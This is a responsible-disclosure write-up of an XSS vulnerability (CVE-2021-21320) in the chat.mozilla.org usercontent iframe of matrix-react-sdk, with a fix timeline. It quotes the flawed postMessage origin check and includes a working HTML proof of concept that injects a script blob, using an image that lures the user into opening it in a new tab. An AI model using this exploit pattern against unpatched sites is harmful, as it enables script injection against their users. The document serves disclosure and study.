XSS via postMessage in chat.mozilla.org (CVE-2021-21320)

In the last month, some friends and I have founded @duph0use, a house where we spent the last month doing bug bounties, researching, and working. At some point during the time I was there, I started searching for bugs in Mozilla, which led me to find 3 XSSes.

In this post I will only be showing one of these findings.

While I navigated through Mozilla products, I ended up finding chat.mozilla.org, which is a webchat maintained by Matrix.org.

Seeing this chat is also open source, I began by looking into the source, and discovered a file upload functionality. I tried several different things on it but didn’t get anywhere. However, the same functionality also had a preview of images/files after the upload, which was interesting.

The preview of the files were being made inside an iframe. In a common scenario, a regular user will click on the button of upload and will do a upload of some file, then this file will be transformed into a blob, and at the moment of the upload, the content of this blob will be sent to the server.

What made it possible for this attack to work was that the application was sending a postMessage to the iframe to create the blob. Also, this iframe was used to preview the images.

As you can see in the following code, the validation of the postMessage origin was done through user input:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L1

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const params = window.location.search.substring(1).split('&');
let lockOrigin;
for (let i = 0; i < params.length; ++i) {
    const parts = params[i].split('=');
    if (parts[0] === 'origin') lockOrigin = decodeURIComponent(parts[1]);
}

Then the next step of the code received the postMessage and sent its data to remoteRender:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L47

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window.onmessage = function(e) {
    if (e.origin === lockOrigin) {
        if (e.data.blob) remoteRender(e);
        else remoteSetTint(e);
    }
};

In the line 49, the message retrieved a blob sent by the user (e.data.blob) and without verifying the content-type, passed its content to createObjectURL in the line 22:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L22

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a.href = window.URL.createObjectURL(data.blob);

The only thing a little annoying in this XSS is the necessity of user interaction, caused by the download attribute (line 19). However, it is trivial:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L19

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a.download = data.download;

Because of that, the user needs to click with the right button of the mouse over the image and then open it in another tab. To do that, I created a simple image saying “open this image in a new tab” and passed this image via postMessage in the imgSrc attribute (line 40).

https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L40

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img.src = data.imgSrc;

This is my final PoC:

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<html>
<head>
</head>
<body>
<center>Click anywhere in the page</center>
<script>
        let x;
        onclick = () => {
            x = open("https://chat.mozilla.org/usercontent/?origin=https%3a%2f%2f"+document.domain);
            setTimeout(() => {
                const payload = new Blob(["<script>alert(1337)<\/script>"], { type : "text/html" });
                x.postMessage({ blob: payload, imgSrc: "https://i.imgur.com/CMq55u9.png", auto: true}, "*");
            }, 2500);
        }
</script>
</body>
</html>

Here you can see the PoC video:
https://www.youtube.com/watch?v=nmio2rTn38Q

Timeline

  • 2021-02-13 - Reported the vulnerability
  • 2021-02-19 - Mozilla assigned a CVE ID
  • 2021-03-01 - Fixed the vulnerability
  • 2021-03-08 - $500 Bounty awarded